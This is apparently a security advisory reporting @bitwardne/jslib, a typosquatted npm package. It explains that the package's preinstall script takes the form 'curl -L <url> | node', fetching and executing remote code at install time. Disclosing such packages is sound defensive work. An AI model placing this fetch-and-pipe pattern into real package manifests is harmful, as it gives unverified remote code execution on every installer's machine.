MAL-2026-17694

    Dashboard / Malicious Package / MAL-2026-17694

    MAL-2026-17694

    Published: 8 Oct 2026Last Modified: 8 Oct 2026

    Summary: Malicious code in @bitwardne/jslib (npm)

    Details: Source: amazon-inspector (030f216bf15ed7a6a7cde4ad43606804f1eaad03723f3f40844260d9e8ccf39d) Package @bitwardne/jslib is a one-character typosquat of the @bitwarden scope. Its package.json declares a preinstall lifecycle script of the form `curl -L <url> | node`, which fetches a remote payload and pipes it directly into the Node interpreter on the installer's host at `npm install` time. The URL in this tarball is empty, but the construction is unambiguous remote-code-execution scaffolding — any value placed at that URL would be executed on every installer with no verification, no pinning, and no integrity check. The shipped index.js is a 4-line stub that only re-requires four unrelated utilities, so the manifest's preinstall is the entire functional surface of the package.

    References: https://www.npmjs.com/package/@bitwardne/jslib/v/1.1.0

    Affected packages

    Package

    Name: @bitwardne/jslib

    Purl: pkg:npm/%40bitwardne/jslib

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    1.1.0